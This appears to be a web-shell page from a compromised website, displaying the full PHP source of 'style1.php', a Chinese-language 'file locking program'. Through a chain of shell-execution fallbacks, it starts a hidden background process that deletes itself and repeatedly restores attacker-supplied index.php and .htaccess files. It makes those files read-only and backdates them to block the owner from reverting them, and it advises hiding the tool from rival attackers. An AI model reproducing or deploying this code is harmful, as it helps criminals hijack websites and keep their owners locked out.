????

Your IP : 3.145.154.185


Current Path : /home/ntwf1swzbm0x/public_html/godaddytemplate.thefoundryjacksonville.com/
Upload File :
Current File : /home/ntwf1swzbm0x/public_html/godaddytemplate.thefoundryjacksonville.com/style1.php

<?php
error_reporting(0);

$unlock_key=md5('unlock_2024c').'.txt';
$unlock_key_content=md5('yes_2024c');
$lock_name_list=array('index.php','.htaccess');
$bak_ext='bak';

function getPhpPath()
{
    ob_start();
    phpinfo(1);
    $info = ob_get_contents();
    ob_end_clean();
    preg_match("/--bindir=([^&]+)/si", $info, $matches);
    if (isset($matches[1]) && $matches[1] != '') {
        return $matches[1] . '/php';
    }
    preg_match("/--prefix=([^&]+)/si", $info, $matches);
    if (!isset($matches[1])) {
        return 'php';
    }
    return $matches[1] . '/bin/php';
}

function is_cli() 
{
    $is_cli = preg_match("/cli/i", php_sapi_name()) ? true : false;
    if ($is_cli === false) {
        if (isset($_SERVER['argc']) && $_SERVER['argc'] >= 2) {
            $is_cli = true;
        }
    }
    if ($is_cli === false) {
        if (!isset($_SERVER['SCRIPT_NAME'])) {
            $is_cli = true;
        }
    }
    return $is_cli;
}

function do_lock()
{
    global $unlock_key,$unlock_key_content,$lock_name_list,$bak_ext;
    unlink(__FILE__);
    $wwwroot='';
    if (is_file('wwwroot.txt')) 
    {
        $wwwroot=trim(file_get_contents('wwwroot.txt'));
        unlink('wwwroot.txt');
    }
    if ($wwwroot!='')
    {
        $lock=array();
        foreach ($lock_name_list as $lock_name1)
        {
            $lock[]=array( 
                          'target'=>$wwwroot.'/'.$lock_name1,
                          'bak'=>$wwwroot.'/'.$lock_name1.'.'.$bak_ext,
                          'bak_content'=>'',
                          'bak_content_md5'=>''
                         );
        }
        $do_circle=false;
        for($i=0;$i<count($lock);$i++)
        {
            if (is_file($lock[$i]["bak"])) 
            {
                $lock[$i]["bak_content"]=trim(file_get_contents($lock[$i]["bak"]));
                unlink($lock[$i]["bak"]);
            }
            if ($lock[$i]["bak_content"]!="") 
            {
                $lock[$i]["bak_content_md5"]=md5($lock[$i]["bak_content"]);
                $do_circle=true;
            }
        }
        while( $do_circle )
        {
            if ( is_file($wwwroot.'/'.$unlock_key)&&trim(file_get_contents($wwwroot.'/'.$unlock_key))==$unlock_key_content )
            {
                chmod($wwwroot.'/'.$unlock_key,0777);
                file_put_contents($wwwroot.'/'.$unlock_key,'0');
                unlink($wwwroot.'/'.$unlock_key);
                break;
            }
            
            for($i=0;$i<count($lock);$i++)
            {
                if ( $lock[$i]["bak_content"]!="" ) 
                {
                    if ( !is_file($lock[$i]["target"]) ) 
                    {
                        file_put_contents($lock[$i]["target"],$lock[$i]["bak_content"]);
                        touch($lock[$i]["target"], strtotime("-400 days", time()));
                        chmod($lock[$i]["target"], 0444);
                    }else
                    {
                        if ( md5(file_get_contents($lock[$i]["target"]))!=$lock[$i]["bak_content_md5"] )
                        {
                            chmod($lock[$i]["target"], 0777);
                            unlink($lock[$i]["target"]);
                            file_put_contents($lock[$i]["target"],$lock[$i]["bak_content"]);
                            touch($lock[$i]["target"], strtotime("-400 days", time()));
                            chmod($lock[$i]["target"], 0444);
                        }
                    }
                }
            }
            usleep(1000);
        }
    }else
    {
        echo 'wwwroot无效 --- 运行失败';
        exit;        
    }
}

function http_do_lock()
{
    set_time_limit(0);
    ignore_user_abort(true);
    do_lock();
}

function check_do_lock()
{
    sleep(2);
    if ( is_file(__FILE__) ) 
    {
        echo '<br><br>执行失败,改用http方式执行';
        http_do_lock();
    }
}

if ( is_cli()==true )
{
    do_lock();
}else
{
    $wwwroot=$_SERVER["DOCUMENT_ROOT"];
    if (empty($wwwroot)) $wwwroot=str_replace($_SERVER["SCRIPT_NAME"],"",$_SERVER["SCRIPT_FILENAME"]);
    $wwwroot=trim($wwwroot);
    if ($_GET['action']=='lock')
    {
        if ($wwwroot=='') 
        {
            echo 'wwwroot无效 --- 运行失败';
            exit;
        }
        
        $check_bak=false;
        foreach($lock_name_list as $lock_name1)
        {
            $bak_path=$wwwroot.'/'.$lock_name1.'.'.$bak_ext;
            if ( is_file($bak_path)&&trim(file_get_contents($bak_path))!='' ) 
            {
                $check_bak=true;
                break;
            }
        }
        if ($check_bak==false)
        {
            echo '<br><br><font color="red">请先上传bak文件并确保内容非空!</font>';
            exit;            
        }

        if (is_file('wwwroot.txt'))
        {
            chmod('wwwroot.txt',0777);
            unlink('wwwroot.txt');
        }
        file_put_contents('wwwroot.txt',$wwwroot);
        
        $php_path=getPhpPath();
        $run_file=__FILE__;
        $cmd="nohup $php_path " . $run_file . " >/dev/null 2>&1 &";
        if (function_exists('exec'))
        {
            echo 'exec 执行 '.$cmd;
            exec($cmd);
            check_do_lock();
        }elseif(function_exists('shell_exec'))
        {
            echo 'shell_exec 执行 '.$cmd;
            shell_exec($cmd);
            check_do_lock();
        }elseif(function_exists('system'))
        {
            echo 'system 执行 '.$cmd;
            system($cmd);
            check_do_lock();
        }elseif(function_exists('passthru'))
        {
            echo 'passthru 执行 '.$cmd;
            passthru($cmd);
            check_do_lock();
        }elseif(function_exists('popen'))
        {
            echo 'popen 执行 '.$cmd;
            $fp = popen($cmd,"r");
            pclose($fp);
            check_do_lock();
        }elseif(function_exists('proc_open'))
        {
            echo 'proc_open 执行 '.$cmd;
            $fp = proc_open($cmd,[ ["pipe","r"],["pipe","w"],["file","/tmp/error-output.txt","a"] ],$pipes);
            proc_close($fp);
            check_do_lock();
        }elseif(function_exists('pcntl_exec'))
        {
            echo 'pcntl_exec 执行 '.$php_path.' '.$run_file;
            pcntl_exec($php_path,[$run_file]);
            check_do_lock();
        }else
        {
            echo 'http( set_time_limit=0,ignore_user_abort=true ) 执行 '.$run_file;
            http_do_lock();
        }        
    }elseif($_GET['action']=='unlock')
    {
        if ( is_file($wwwroot.'/'.$unlock_key) )
        {
            chmod($wwwroot.'/'.$unlock_key,0777);
            unlink($wwwroot.'/'.$unlock_key);            
        }
        file_put_contents($wwwroot.'/'.$unlock_key,$unlock_key_content);
        sleep(2);
        if ( !is_file($wwwroot.'/'.$unlock_key)||trim(file_get_contents($wwwroot.'/'.$unlock_key))!=$unlock_key_content )
        {
            echo '解锁成功!';
        }else
        {
            echo '无需解锁!';
        }
        chmod($wwwroot.'/'.$unlock_key,0777);
        file_put_contents($wwwroot.'/'.$unlock_key,'0');
        unlink($wwwroot.'/'.$unlock_key);
    }else
    {
        echo '<html><head><title>文件锁定程序-cww版</title></head><body><div><h1>文件锁定程序-cww版</h1><br><br><h3>请先上传index.php.bak和.htaccess.bak到网站根目录再执行本程序</h3><br><br><h3>*建议将本程序上传到子目录运行避免同行盗用<br>*锁定后无响应请手动检查<br>*更新锁定文件请先解锁</h3><br><br><h1><a href="?action=lock" target="_self">锁定</a><br><br><a href="?action=unlock" target="_self">解锁</a></h1></div></body></html>';
    }
}

?>